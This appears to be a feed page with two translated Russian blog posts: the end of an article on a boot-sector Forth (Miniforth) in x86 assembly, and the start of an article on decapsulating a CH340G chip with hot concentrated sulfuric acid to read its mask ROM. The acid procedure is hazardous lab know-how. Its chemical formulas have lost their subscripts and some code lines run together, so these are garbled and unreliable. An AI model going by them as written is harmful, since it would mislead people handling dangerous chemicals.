Наконец, мы настраиваемся на следующую итерацию цикла. Мы используем аналогичный трюк, как и раньше, где результат указателя обновляется в каждой итерации, чтобы избежать отдельного декремента в конце, поскольку нам нужно убедиться, что входной указатель не указывает после терминатора.

      mov [InputPtr],  si       lodsb      jmp short .takeloop

Поиск по словарю

После того как слово разобрано, мы пытаемся найти его в словаре. Для каждой записи нам нужно сравнить длину имени, а если она совпадает, то и само имя. Включая F_HIDDEN в маску, мы автоматически обрабатываем и скрытые записи. То, как мы сравниваем длину, может выглядеть немного странно. Цель состоит в том, чтобы сохранить бит F_IMMEDIATE в AL, чтобы нам не пришлось держать рядом указатель на заголовок этого слова. Это одна из умных оптимизаций Ильи Курдюкова.

    InterpreterLoop:          call ParseWord          jcxz short ReadLine        ; Пытаемся найти слово в словаре..    ; SI = указатель словаря    ; DX = указатель строки    ; CX = длина строки    ; Следим за сохранением BX, в котором хранится числовое значение    LATEST equ $+1          mov  si , 0    .find:          lodsw          push  ax  ; сохранить указатель на следующую запись          lodsb          xor  al ,  cl  ; если длина совпадает, то AL содержит только флаги          test  al , F_HIDDEN | F_LENMASK          jnz short .next              mov  di ,  dx           push  cx           repe cmpsb          pop  cx           je short .found    .next:          pop  si           or  si ,  si           jnz short .find              ; Если мы дойдем до этой точки, то это будет число.          ; ....found:      pop  bx  ; отбрасываем указатель на следующую запись      ; Когда мы дойдем до этого места, SI указывает на код слова, а AL содержит ; флаг F_IMMEDIATE

Эта часть показывает еще одно преимущество отсутствия разбиения интерпретатора на многократно используемые фрагменты: мы можем легко выйти на два разных кодовых пути, основываясь на результате поиска.

Должны ли мы его выполнить?

Система может находиться в двух возможных состояниях:

  • интерпретация - все слова должны быть выполнены

  • компиляция - непосредственные слова должны быть выполнены

Другими словами, слово должно быть выполнено, если оно немедленное, или мы его интерпретируем. Мы храним этот флаг в поле immediate инструкции or, так как при компиляции он будет установлен в 0:

      ; Когда мы сюда попадаем, SI указывает на код слова, а AL содержит ; флаг F_IMMEDIATE STATESTATE equ $+1      or  al , 1      xchg  ax ,  si  ;  оба кодовых пути должны иметь указатель в AX      jz short .compile      ; Выполняем слово      ; ...

Наиболее важными словами, которые должны изменить состояние, являются : и ;, но они просто переходят в [ и ] слова, которые позволяют временно вернуться в интерпретируемый режим при компиляции слова. Типичный случай использования - вычисление значения постоянного выражения:

 : third-foo [ foos 3 cells + ] literal @ ;

Поскольку два значения STATE отличаются только на 1, мы можем переключаться между ними с помощью inc и dec. Это имеет тот недостаток, что они больше не являются идемпотентными, но это не должно иметь значения для хорошо написанного кода:

defcode LBRACK, "[", F_IMMEDIATE      inc byte[STATE]defcode RBRACK, "]"      dec byte[STATE]

Выполнение слова

Если мы решили выполнить слово, мы извлекаем BX и DI, и настраиваем SI так, чтобы NEXT перешел обратно к .executed:

; Выполнение слова RetSP RetSP equ $+1      mov  di , RS0      pop  bx       mov  si , .return      jmp  ax .return:      dw .executed.executed:      mov [RetSP],  di       push  bx       jmp short InterpreterLoop

Обработка чисел

Для чисел нет флага F_IMMEDIATE, поэтому для принятия решения нам нужно просто проверить состояние. Это простое сравнение, но если мы будем достаточно умны, здесь можно сэкономить байт. Давайте снова посмотрим на код, который выполняет поиск в словаре. Какое значение будет иметь AH, когда мы дойдем до регистра чисел?

.find:      lodsw      push  ax  ;  сохранить указатель на следующую запись      lodsb      xor  al ,  cl  ; если длина совпадает, то AL содержит только флаги      test  al , F_HIDDEN | F_LENMASK      jnz short .next      mov  di ,  dx       push  cx       repe cmpsb      pop  cx       je short .found.next:      pop  si       or  si ,  si       jnz short .find      ; AH = ?

Видите ли вы это? В этот момент AH равен нулю, так как содержит старшую половину указателя на следующее слово, которое, как мы знаем, является NULL, поскольку мы только что добрались до конца списка. Это позволяет нам проверить значение STATE, не загружая его в регистр или какие-либо непосредственные байты:

      ; Это число. Вставьте его значение - мы выкинем его позже, если окажется, что нужно скомпилировать ; его вместо этого.       push  bx       cmp byte[STATE],  ah       jnz short InterpreterLoop      ; Иначе скомпилируйте литерал. ; ...

Компиляция вещей

Указатель точки процесса компиляции называется HERE. Он начинается сразу после распакованных данных. Функция, которая выписывает слово в эту область, называется COMMA, так как слово FORTH, которое это делает, - ,.

COMMA:HERE equ $+1      mov [CompressedEnd],  ax       add word[HERE], 2      ret

Он используется в прямом смысле для составления как чисел, так и слов. Мы можем разделить хвост, хотя составлении слова он будет перескакивать на середину составления числа:

      ; Иначе, компилируем литерал.       mov  ax , LIT      call COMMA      pop  ax .compile:      call COMMA      jmp short InterpreterLoop

Последним кусочком головоломки являются : и ;. Давайте сначала рассмотрим :. Поскольку ParseWord использует BX и SI, нам нужно сохранить эти регистры. Более того, поскольку мы пишем множество частей заголовка словаря, мы загрузим HERE в DI, чтобы упростить работу. Это большое количество регистров, которые нам нужно переместить. Однако на самом деле нам не нужно изменять ни один регистр, поэтому мы можем просто сохранить все регистры с помощью pusha.

defcode COLON, ":"      pusha      mov  di , [HERE]      call MakeLink    ; link field      call ParseWord      mov  ax ,  cx       stosb            ; length field      mov  si ,  dx       rep movsb        ; name field      mov  al , 0xe8     ; call      stosb   ; поле длины mov si, dx rep movsb ; поле имени mov al, 0xe8 ; вызов stosb ; Смещение определяется как (цель вызова) - (ip после инструкции вызова) ; Получается DOCOL - (di + 2) = DOCOL - 2 - di      mov  ax , DOCOL - 2      sub  ax ,  di       stosw      mov [HERE],  di       popa      jmp short RBRACK ; enter compilation mode   ; войти в режим компиляции

; гораздо короче. Нам просто нужно скомпилировать EXIT и вернуться в режим интерпретации:

defcode SEMI, ";", F_IMMEDIATE      mov  ax , EXIT      call COMMA      jmp short LBRACK

То, как эти слова переходят к другому слову в конце, весьма удобно. Помните, как NEXT записываются как часть кода следующего слова? Одно из слов должно быть последним в памяти, и тогда после него не будет никакого "следующего слова". : и ; - идеальные кандидаты для этого, поскольку им вообще не нужен NEXT.

Загрузка кода с диска

Поскольку мы не хотим вводить дисковые подпрограммы при каждой загрузке, нам нужно предусмотреть способ запуска исходного кода, загруженного с диска. Файловая система была бы отдельным зверем, но в традициях FORTH есть минималистичное решение: диск просто делится на блоки по 1 КБ, в которых хранится исходный код, отформатированный как 16 строк по 64 символа. Затем load ( blknum -- ) выполнит блок с указанным номером.

Мы размещаем блок 0 в LBA 0 и 1, блок 1 в LBA 2 и 3 и так далее. Это означает, что блок 0 частично занят MBR, а LBA 1 используется впустую, но меня это не особенно беспокоит.

Поскольку оригинальная служба BIOS по адресу int 0x13 / ah = 0x02 требует адресации CHS, я решил использовать вариант расширения EDD (ah = 0x42). Это означает, что дискеты не поддерживаются, но я все равно не планировал их использовать.

Чтобы использовать интерфейс EDD, нам нужно создать пакет адреса диска, который выглядит следующим образом:

      db 0x10 ; размер пакета      db 0    ; зарезервировано      dw sector_count      dw buffer_offset, buffer_segment      dq LBA

Мы используем гибридную стратегию для создания этого пакета. Первая часть сохраняется как данные в бутсекторе, а остальное записывается во время выполнения, даже если оно не меняется. Шаблон" должен находиться в таком месте, чтобы мы могли писать после него, поэтому идеальное место - прямо перед сжатыми данными:

>  >  > DiskPacket:       db 0x10, 0 .count:       dw 2 .buffer:

; остальное заполняется во время выполнения, перезаписывая сжатые данные,

; которые больше не нужны

CompressedData: times COMPRESSED_SIZE db 0xcc

Первые четыре байта пакета достаточно случайны, чтобы их можно было жестко закодировать. Однако, когда дело доходит до адреса буфера, мы можем сделать лучше. В любом случае нам нужно будет записать этот адрес в InputPtr. Самый прямой способ сделать это занимает шесть байт:

c706020a0006    mov word[InputPtr], BlockBuf

Однако мы можем получить эту переменную в AX без дополнительных затрат:

b80006          mov  ax , BlockBufa3020a          mov [InputPtr],  ax 

Таким образом, мы можем записать эти два байта дискового пакета с помощью всего 1 байта кода:

defcode LOAD, "load"      pusha      mov  di , DiskPacket.buffer      mov  ax , BlockBuf      mov word[InputPtr],  ax       stosw

Далее нам нужно записать сегмент (0000) и LBA (который заканчивается шестью байтами 00). Мне нравится думать о соответствующих инструкциях следующим образом:

31c0    xor  ax ,  ax     ; LBA zeroesab      stosw         ; segmentd1e3    shl  bx , 1     ; LBA data93      xchg  ax ,  bx    ; LBA dataab      stosw         ; LBA data93      xchg  ax ,  bx    ; segmentab      stosw         ; LBA zeroesab      stosw         ; LBA zeroesab      stosw         ; LBA zeroes

То есть, мы записываем шесть нулей LBA за 5 байт кода. Запись сегмента потребовала только перемещения xor ax, ax ранее, и дополнительных stosw и xchg ax, bx. Таким образом, он занимает нейтральные 2 байта (но нам нужно выписать его в коде, чтобы указатель был правильным для остальной части пакета). Наконец, конечно, у нас есть фактические данные LBA, которые меняются.

Пока AX равен нулю, воспользуемся случаем и поставим нулевой терминатор после буфера:

      mov [BlockBuf.end],  al 

Теперь мы готовы вызвать функцию BIOS. Если она выдаст ошибку, мы просто зациклимся, так как восстановление сложное и самое неприятное осложнение заключается в том, что счетчик секторов в пакете перезаписывается количеством успешно прочитанных секторов, что ломает наш шаблон.

DRIVE_NUMBER equ $+1      mov  dl , 0      mov  ah , 0x42      mov  si , DiskPacket      int 0x13      jc short $      popa      pop  bx 

Числа для печати

u. печатает беззнаковое число, за которым следует пробел. Поскольку при делении числа на разряды с помощью деления первой получается наименее значащая цифра, мы помещаем цифры в стек, а затем выводим и печатаем их в отдельном цикле. Пробел печатается путем выталкивания фальшивой "цифры", которая будет преобразована в пробел. Это также позволяет нам определить, когда мы вытолкнули все цифры и цикл печати останавливается, когда он только что напечатал пробел.

defcode UDOT, "u."    xchg  ax ,  bx     push " " - "0".split:      xor  dx ,  dx       div word[BASE]      push  dx       or  ax ,  ax       jnz .split.print:      pop  ax       add  al , "0"      cmp  al , "9"      jbe .got_digit      add  al , "A" - "0" - 10.got_digit:      call PutChar      cmp  al , " "      jne short .print      pop  bx 

s: Поместить в строку

s: - это функция, которая, как мне кажется, имеет уникальное значение для бутстраппинга. Это слово принимает адрес буфера и копирует туда остаток текущей строки ввода. Без этого значительный объем кода пришлось бы набирать дважды: сначала для того, чтобы запустить его и загрузить редактор дисковых блоков, а затем еще раз, чтобы сохранить его на диске.

Реализация представляет собой простой цикл, но установка вокруг него заслуживает внимания и мы хотим загрузить входной указатель в SI, но нам также нужно сохранить SI, чтобы мы могли правильно вернуться. Используя xchg, мы можем сохранить его в [InputPtr] на время копирования без дополнительных затрат:

;; Копирует остаток строки в buf.    defcode LINE, "s:" ; ( buf -- buf+len )      xchg  si , [InputPtr].copy:      lodsb      mov [ bx ],  al       inc  bx       or  al ,  al       jnz short .copy.done:      dec  bx       dec  si       xchg  si , [InputPtr]

Указатель назначения хранится в BX. Хотя запись в DI займет всего один стосб, получение указателя в DI и обратно перевешивает это преимущество. В конце мы оставляем в стеке указатель на нулевой терминатор. Таким образом, вы можете продолжить строку, просто используя s: в следующей строке. Поскольку мы не пропускаем пробельные символы, это даже гарантирует правильную расстановку символов.

Другие примитивы

Выбор примитивов для включения в Miniforth - это, пожалуй, самый большой компромисс, который необходимо сделать. Я полностью ожидаю, что некоторые более примитивные слова нужно будет определять во время выполнения, вставляя их в опкоды. В конце концов, здесь нет ни одного слова с ветвлением. Однако я уверен, что эти опкоды можно будет генерировать простым ассемблером FORTH, а не просто жестко закодировать.

Такая базовая арифметика, как +, незаменима. Я определяю и +, и -, хотя, если бы я хотел вписать что-то более важное, я мог бы оставить только - и позже определить : negate 0 swap - ; и : + negate - ;.

Как и в любом низкоуровневом языке программирования, нам нужен способ подглядывать и пихать значения в память. Реализация ! особенно хороша, поскольку мы можем просто заглянуть прямо в [bx]:

defcode PEEK, "@" ; ( addr -- val )    mov bx, [bx]defcode POKE, "!" ; ( val addr -- )    pop word [bx]    pop bx

Существуют также варианты, которые читают и записывают только один байт:

defcode CPEEK, "c@" ; ( addr -- ch )      movzx  bx , byte[ bx ]defcode CPOKE, "c!" ; ( ch addr -- )      pop  ax       mov [bx],  al       pop  bx 

Нам определенно нужны слова для работы со стеком. dup и drop имеют очень простые реализации, а swap определенно слишком полезен, чтобы его пропустить.

defcode DUP, "dup" ; ( a -- a a )      push  bx defcode DROP, "drop" ; ( a -- )      pop  bx defcode SWAP, "swap" ; ( a b -- b a )      pop  ax       push  bx       xchg  ax ,  bx 

Я решил также включить >r и r>, которые позволяют использовать стек возвратов в качестве второго стека для значений (но, очевидно, только в пределах одного слова). Это довольно мощный инструмент. Фактически, в сочетании с dup, drop и swap они позволяют реализовать любое слово для манипуляции стеком, которое вы только можете себе представить.9

defcode TO_R, ">r"      xchg  ax ,  bx       stosw      pop  bx defcode FROM_R, "r>"      dec  di       dec  di       push  bx       mov  bx , [ di ]

Наконец, emit печатает символ. Это достаточно далеко от критического пути bootstrap, чтобы я мог спокойно удалить его в случае необходимости.

defcode EMIT, "emit"      xchg  bx ,  ax       call PutChar      pop  bx 

Заключение

Я доволен тем, что получилось. Для системы, ограниченной загрузочным сектором, я могу назвать ее вполне законченной по функциям - я не могу придумать ничего, что могло бы значительно упростить бутстрап, занимая при этом достаточно мало байт, чтобы это казалось удаленно досягаемым для кодового гольфа. Это во многом благодаря помощи Ильи Курдюкова - без него я бы не смог вписать s:.

Я нашел старый ПК, который могу использовать для своих экспериментов. На нем Miniforth загружается просто отлично:

Я буду документировать свое путешествие по созданию Miniforth в будущих записях этого блога. Если это похоже на вашу чашку чая (а если вы дочитали до этого места, то, вероятно, так оно и есть), подпишитесь на RSS-канал или следите за мной в Twitter, чтобы получать уведомления о новых статьях.

1

У теоретика графов было бы много сильных слов, чтобы описать это, а не только цикл.

2

И даже если бы это было не так, есть много, многопримеров кода x86, написанного с использованием печатаемого подмножества ASCII. Я даже сам однажды сделал этонесколько лет назад.

3 Если вы, дорогой читатель, считаете это неудовлетворительным, я хотел бы пригласить вас в собственное путешествие по бутстрапингу. Это действительно очень весело!

4

Точную экономию на данный момент трудно подсчитать, поскольку некоторые слова не используют добавляемый NEXT.

5

Хотя в этом отрывке справки говорится только о pop ss, аналогичное утверждение содержится в документации по mov.

6

Похоже, это одна из многих ошибок в SDM и использование pop esp для этого не работает. Раздел 6.8.3 ("Маскировка исключений и прерываний при переключении стека") в томе 3A разъясняет, что все одноинструкционные способы загрузки SP работают для этого. Я бы процитировал этот раздел, если бы не тот факт, что, хотя в нем перечислены многие другие типы событий, которые подавляются, в нем не упоминаются реальные прерывания как один из них. Однако в этом разделе упоминаются некоторые интересные крайние случаи. Например, если вы похожи на меня, вам может быть интересно, что произойдет, если много инструкций подряд записываются в SS. Ответ заключается в том, что только первая из них гарантированно подавляет прерывания.

7

Полагаю, имеет смысл, что эта опция доступна только для imul, так как по модульной арифметике единственная разница между знаковым и беззнаковым умножением заключается в верхней половине произведения, которую мы здесь отбрасываем. Иммедиаты могли бы быть полезны и для mul, хотя...

8

Вы можете спросить, почему бы просто не объявить, что BASE - это переменная размером в байт? Ответ заключается в том, что u., которое является словом, печатающим число, использует div word[BASE], так что результат все еще 16-битный.

9

Сюда не входят слова типа PICK, для них нужны циклы. Однако все, что можно определить как ( <список имен> -- <список имен>), является честной игрой. Доказательство этого факта мы оставляем на усмотрение читателя. 10

10

Если серьезно, попробуйте разработать безошибочную стратегию превращения эффекта стека в последовательность слов, которые его реализуют. Это хорошая проблема.

github.com/NieDzejkob

Подробнее..

Перевод Рассматриваем отдельные биты на снимке микросхемы как действовать, когда архитектура неизвестна

07.04.2021 18:21:37 | Автор: admin

Введение

Я только начинаю путешествие в сферу обратного проектирования интегральных схем (ICRE), но меня уже совершенно обуяла страсть к данной отрасли. Кроме компьютерных и электротехнических аспектов ICRE, для работы в этой сфере нужны обширные знания по физике и химии. Поначалу химическая составляющая меня пугала, поскольку химию я почти не знал. Не говоря уже о том, как опасна работа с продуктами, необходимыми для вскрытия (декапсуляции) и послойного препарирования чипов.

Верите ли, я готовился около 2 лет, прежде чем реально инвестировать в лабораторию. Я не хотел переходить к первому эксперименту, пока не приобрету все оборудование, нужное для безопасной работы, и не приму необходимые меры предосторожности. Общеизвестно первое правило химии: во всех ситуациях кроме нештатных на каждом шаге необходимо знать, что делать дальше. Однако, я человек настолько увлекающийся, что, если я вижу цель, ничто не может заставить меня свернуть с пути к ней.

Подготовка

Первым делом мне требовалось разобраться в целой совокупности весьма дорогих вещей и растворителей, которые требовалось купить. Вот список оборудования и расходников, которые я купил.

Почему мне понадобился именно металлургический микроскоп, а не стереомикроскоп или не составной микроскоп? Потому что у большинства микроскопов подсветка снизу, и свет отражается от двухкоординатной пластины, а с ИС так работать нельзя, поскольку они не двусторонние. Рассматриваемые слои кристалла нужно правильно освещать, чтобы свет как следует отражался в направлении сверху вниз. В металлургических микроскопах используется так называемое наблюдение в отраженном свете (EPI illumination), уникальный тип освещения, также именуемого эпифлуоресцентным. Решение позволяет не только освещать объект ИС/образец; более того, объектив микроскопа собирает свет, отражающийся от поверхности образца.

Остальное вполне понятно без объяснения. Чтобы как следует извлечь ИС из ее эпоксидной упаковки, мало обработать упаковку кислотой при комнатной температуре так всю смолу удалить не удастся. Некоторые другие закупленные мной материалы, перечисленные в списке это вполне стандартные лабораторные исходники, которые понадобятся вам для работы с химикатами. Что касается химикатов как таковых, я расскажу обо всех используемых кислотах, основаниях и окислителях, по мере того, как буду описывать ход экспериментов.

Выбор лабораторного образца

Забавно, что когда я впервые вскрыл CH340Gиз платы Arduino Nano v3, я даже не подозревал, что наткнусь на целую секцию ПЗУ, прежде, чем приступлю к послойному препарированию. Как правило, берясь за проект с ПЗУ, нужно весьма хорошо понимать выбранный образец, в частности, познакомиться с его архитектурой и процессором, почитав даташиты. К счастью, у меня все вышло иначе, почему к счастью расскажу дальше, читайте.

Я взялся за распайку интегральных схем с платы Arduino прежде всего потому, что это была первая разработочная плата, которую я освоил в ходе моих упражнений по части безопасности встраиваемых систем. Следовательно, заключил я, можно будет знатно поностальгировать, бросив пару столь любимых мною чипов в жаркую дымящую серную кислоту. Честно говоря, я очень надеялся, что в ATmega328P, с которой я проводил мои первые эксперименты, найдется какое-нибудь ПЗУ, но, после многократных попыток разобрать ее по слоям при помощи плавиковой кислоты, я нашел только ЭСППЗУ, статическую память с произвольным доступом и флэш-память.

Разобранная на слои Atmega328PРазобранная на слои Atmega328P

Добравшись еще ниже, до поликремниевого слоя этого чипа (SiO/ оксид кремния), действительно начинаешь обнаруживать весьма интересные секции чипа, но ни из одной из них не представлялось возможным извлечь прошивку теми инструментами, что были у меня в распоряжении.

Примечание:если вы хотите посмотреть эту картинку в высоком разрешении, перейдите по следующей ссылке на личную страницу автора: siliconpr0n.

Сравнение флэш-памяти и ПЗУ. Как они выглядят под микроскопом

Возможно, вас интересует, а почему нельзя попросту считывать данные из сегментов флэш-памяти при помощи металлургического микроскопа, как это делалось бы с ПЗУ? Для начала давайте обсудим разницу. Масочное ПЗУ (MROM) содержит код прошивки, записываемый в кремниевую основу чипа на этапе конструирования в процессе производства полупроводника. МПЗУ производится путем расстановки транзисторов еще до начала процесса фотолитографии. Под микроскопом они могут весьма отличаться друг от друга:

ПЗУ TI TMS5200NL в сравнении с ПЗУ CBM 65CE02 от SiliconPr0nПЗУ TI TMS5200NL в сравнении с ПЗУ CBM 65CE02 от SiliconPr0n

Это просто два отдельных примера, позволяющих оценить, как может выглядеть транзистор МПЗУ на уровне подложки. В таких транзисторах может применяться либо материал n-типа с высокой концентрацией электронов, допированный атомом фосфора, либо материал p-типа, допированный атомом бора и отличающийся более низкой концентрацией электронов.

С другой стороны, флэш-память устроена сложнее. 1 транзистор != 1 бит. Причина, по которой сканирующий электронный микроскоп требуется для вытягивания бит из памяти типа ЭСППЗУ в том, что во флэш-памяти используется система карманов, в которых можно запасать остаточные электроны от пропускаемого тока, независимо от того, идет ли ток через схему в настоящий момент. Соответственно, такая память считается энергонезависимой. Во флэш-транзисторе четыре основные части: источник, сток и два затвора, которые называются плавающим и управляющим[1][2], а также изолирующий материал, отделяющий три остальные части друг от друга. По форме вся структура напоминает перевернутую букву Т, причем, в нижней части транзистора располагаются источник и сток, а в верхней части затворы, причем, управляющий затвор находится выше плавающего. Затворы заключены в оксидные слои, через которые ток, как правило, не проникает.

Модель транзистора в NAND FlashМодель транзистора в NAND Flash

Отрицательно заряженные электроны находятся в состоянии готовности, будучи в источнике (то место, откуда проистекает электрический ток) и стоке (куда сбрасывается электрический ток), это связано с типом кремния, используемого для конструирования этих фрагментов транзисторного материала.

Однако, сток не работает ожидаемым образом, поскольку между источником и стоком в транзисторе присутствует материал-изолятор, в котором мало электронов. При нагнетании положительного напряжения на электрические контакты на стоке и затворах, отрицательно заряженные электроны притягиваются к положительно заряженным электронам и так преодолевают сток. Немногочисленные электроны подтягиваются в плавающий затвор через оксидные слои в ходе процесса, именуемого квантовым туннелированием. Электроны, попавшие в плавающий затвор и застрявшие там, не могут прорваться обратно через оксидные слои и останутся в плавающем затворе неопределенно долго. Флэш-транзисторы с запасенными электронами расположены параллельно транзисторам ОЗУ, через которые идет ток. Для разделения электронов отрицательное напряжение регистрируется на электрическом контакте над плавающим затвором, это приводит к отталкиванию электронов от плавающего затвора.

Ячейки транзистора в энергонезависимой памяти Ячейки транзистора в энергонезависимой памяти

Примерно так будет выглядеть флэш-транзистор на уровне поликремниевого слоя под металлургическим микроскопом. Вы не увидите никаких зарядов, проходящих через плавающий затвор транзистора, так как такой микроскоп не может просканировать пучок электронов над поверхностью и дать картинку, а вот сканирующий электронный микроскоп (СЭМ) мог бы. Рассматривая изображения, полученные при помощи СЭМ, можно увидеть, как пучок электронов взаимодействует с поверхностью интегральной схемы и производит многочисленные сигналы, при помощи которых можно получать информацию о топографии и составе поверхности.

Как считываются биты

Причина, по которой под металлургическим микроскопом различимы отдельные биты (единицы и нули) в том, что биты физически закодированы в кристалле. Как показано в статье Кена ШириффаExtracting ROM Constants, биты программируются в МПЗУ путем изменения паттерна допирования кремния, создания транзисторов или оставления изолирующих участков. В примере Кена, если в строке присутствует транзистор, то можно предположить, что это транзистор в 1 бит. Как правило, строка в МПЗУ NOR (чтение быстрее, запись медленнее) будет содержать два транзистора, уложенных друг на друга, верхний и нижний, как показано на следующем рисунке.

Изображение ПЗУ из TMS320C52Изображение ПЗУ из TMS320C52

В ПЗУ обычно используются мультиплексоры для выбора бит по столбцу и по строке. При использовании 16-битного MUX будет 4 линии выбора, которые можно активировать. Для ПЗУ, которое я собираюсь показать, каждая линия выбора может перевести транзисторы в состояние напряжения HIGH, если будет активирована. Если в заданной позиции (столбец и строка) транзистор отсутствует, то выходная линия окажется в состоянии напряжения LOW.

Примечание:В нашем случае с CH340G МПЗУ будет выглядеть совершенно иначе, нежели на картинках, показанных выше.

Подготовка образца

В случае Arduino Nano, CH340G всегда находится снизу печатной платы. Я вооружился тепловым пистолетом для отпайки и под температурой около 200C обработал пины интересовавшего меня чипа микросхемы. Таким образом припой снимается с узлов и расплавляется, что позволяет безопасно снять чип с платы.

CH340, припаянная к Arduino Nano (чипы не размечены)CH340, припаянная к Arduino Nano (чипы не размечены)

Когда образец готов, можно переходить к следующему этапу проекта, вскрытию. На данном этапе полностью удаляется черная эпоксидная оболочка, внутри которой заключен кремниевый кристалл.

Химические реакции при вскрытии

Теперь требуется проявлять исключительную осторожность, поскольку крайне опасно работать с очень едкими кислотами. Возьмем стеклянную пипетку (поскольку стекло не реагирует сHSO) и наберем в нее около 20 мл 98% концентрированной серной кислоты из контейнера и нальем ее в 100-мл химический стакан. Можно бросить наш образец в кислоту, взяв его щипчиками, а потом поставить стакан на нагревательную плитку.

Вскрытие оболочки в вытяжном шкафуВскрытие оболочки в вытяжном шкафу

Рекомендую температуру не менее 170C, а не 150C, как показано выше, поскольку плитка никогда не показывает температуру абсолютно точно. Такой сильный жар нужен, поскольку при комнатной температуре HSOокисляет эпоксидную смолу очень медленно. Нагревая образец, можно ускорить эту реакцию. На крайней справа картинке видно, как жидкость начинает приобретать желтоватый цвет, и это просто отлично. Это означает, что реакция пошла, и эпоксидная смола начинает плавиться.

Если вам интересно, зачем стакан прикрыт стеклянной крышкой объясню, на то есть две причины:

1. Так в стакане лучше удерживаются испарения, поднимающиеся из горячей серной кислоты. На данном этапе у вас в вытяжном шкафу уже должен работать экстрактор дыма.

2. Потенциально крышка может поспособствовать частичной рециркуляции паров диоксида серы (SO), что, в свою очередь, будет поддерживать высокую концентрацию кислоты. Если концентрация кислоты чрезмерно снизится, то возрастет вероятность коррозии. Я не вполне в этом уверен, поэтому смело пингуйте меня, если я не прав. Знаю, что такой подход хорош при работе с азотной кислотой (HNO), поскольку пары диоксида азота (NO) при рециркуляции могут превращаться обратно вHNOв присутствии воды.

Большой вопрос как долго это должно продолжаться? Зависит от толщины чипа; в данном конкретном случае, согласно даташиту, мы имеем дело с корпусом кристалла SOP-16, толщина которого составляет около 1,50 мм. При приблизительно такой толщине и температуре весь процесс должен занять около часа.

Чип обрабатывается в кислотной банеЧип обрабатывается в кислотной бане

Еще один верный признак, что стоит остановиться когда весь стакан заполнится таким черным осадком; это должно означать, что вся эпоксидная смола сошла с кристалла. В таком случае нужно снять образец с плитки и дать ему остыть.

Примечание: как только вы снимете крышку со стакана, оттуда сильно попрут парыSO, поэтому убедитесь, что дымовые заслонки как следует закрыты, надежно удалите все эти токсичные пары через вакуумный отсос. Хороший пример, позволяющий оценить, как идет эта реакция повторить подобный опыт с полиэтиленом ((CH)), который обычно входит в состав эпоксидного пластика. По мере того, как серная кислота разогревает эпоксидную смолу, HSOразлагается наSO,CO иHO. Вот химическое уравнение с коэффициентами:6HSO + (CH) 6SO +2CO +8HO. Точка кипения такой кислоты составляет около 337C, именно в таких условиях обычно и получают азеотропную серную кислоту. Если взять серу (S), кислород (O) и воду (HO), а затем сжечь серу для получения диоксида серы (SO);S + O SO, то в дальнейшем диоксид серы можно окислить до триоксида серы (SO), воспользовавшись кислородом и взяв в качестве катализатора оксид ванадия (VO), имеем2SO + O + VO 2SO. Вода служит для гидратации триоксида серы в серную кислоты,SO + HO HSO. Могут использоваться и иные методы, например, с добавлением электролизованных растворов, таких, как раствор сульфата меди (II) (CuSO) или бромводородной кислоты (HBr) для реакции с серой.

С учетом вышесказанного, мы ни в коем случае не хотим доводитьHSOдо точки кипения, поскольку в таком случае кислота быстро разложится и перейдет в полностью газообразное состояние.

На данном этапе я перелью кислоту в другой пустой химический стакан и проверю, не видно ли на дне первого стакана кремниевого кристалла. Иногда приходится на самом деле пристально поискать, ведь эти кристаллы совсем маленькие.

Кремниевый кристалл, извлеченный из эпоксидной оболочкиКремниевый кристалл, извлеченный из эпоксидной оболочки

Как только найдем кремниевый кристалл, подхватим его и поместим в стакан поменьше, наполненный ацетоном (CHO). После того, как чип утонет в этой жидкости, поставим стакан в ультразвуковую баню, чтобы очистить кремний от пригоревших частиц эпоксидной смолы, если таковые остались. Почему ацетон? Потому что это сильный промышленный растворитель, которым щадяще обрабатываются металлические поверхности кристалла.

Исследуем первый образец

Теперь, когда на нашем чипе не осталось ни следа пригоревшей эпоксидной смолы, переходим к микроскопии, чтобы как следует рассмотреть, что же находится внутри кристалла.

CH340G, снятый через объектив с линзой, дающей пятикратное увеличениеCH340G, снятый через объектив с линзой, дающей пятикратное увеличение

Впервые взглянув на этот чип, я не нашел ничего, что напоминало бы ПЗУ; учитывая, что я знаю сейчас, я кажусь себе в тот момент довольно глупым. Еще немного разобравшись, я смог предположить, что в левой части содержится какая-то ЭСППЗУ или ОЗУ, либо это просто какая-то емкость для энергозависимой памяти. Область сверху справа, казалось, отведена под МПЗУ. Итак, разбираемся дальше.

Картинка в более высоком разрешении предлагается здесь: https://siliconpr0n.org/map/wch/ch340/mz_20x/Картинка в более высоком разрешении предлагается здесь: https://siliconpr0n.org/map/wch/ch340/mz_20x/

Присмотревшись к логическим вентилям через объектив с 50-кратным увеличением, постепенно начинаем понимать, что здесь происходит. Первым делом интересно отметить, что на этом ПЗУ 14 мультиплексоров, то есть, 14 групп столбцов. Каждый мультиплексор имеет разрядность 16:1. Таким образом, он позволяет проложить 16 различных путей данных на месте единственного.

14 групп столбцов значит, мы имеем дело с 14-битной архитектурой, и это странно. Как правило, встречаются микропроцессоры в диапазоне 4 бит, 8 бит, 16 бит или даже 32 бит. Ситуация значительно усложнится позже, после извлечения бит из этих изображений, так как мы, вероятно, имеем дело с нетипичной архитектурой.

Также нужно отметить следующие наблюдения. Во-первых, верхние слои в этом чипе представляют собой адресные строки. В вертикальном столбце видим 10 металлических линий, которые в итоге транслируются в 6 адресных разрядов, а 6 металлических линий по горизонтали транслируются в 4 адресных разряда. Суть этого будет объяснена ниже, когда мы займемся послойным препарированием чипа, 4 адресных разряда дадут нам 2 = 16для мультиплексоров, описанных выше. Теперь 6 адресных строк будут использоваться, чтобы выбрать одну из 64 строк в пространстве ПЗУ, что даст 16 бит x 14 столбцов по горизонтали. Вот почему нам требуется суммарно 10 адресных разрядов по вертикали.

На следующем этапе эксперимента откроем слой подложки, чтобы под микроскопом были видны отдельные биты. Это весьма дикая концепция иметь возможность выделить единицы и нули, жестко закодированные в сам чип, и вскоре вы поймете, почему такое большое сообщество специалистов увлекается извлечением прошивки из кремния.

Реакции послойного препарирования

Существует множество способов послойно препарировать чип, но мы рассмотрим лишь пару из них. Первым делом нам понадобятся тефлоновые химические стаканы, которые я упоминал выше в этой статье. Ни соляная (HCl), ни плавиковая (HF) кислота не реагируют с веществом такого типа, и такой материал можно спокойно разогревать на плитке. Хорошо, если быть точным, для работы с HCl стеклянные стаканы подойдут, но для работы сHF нет.

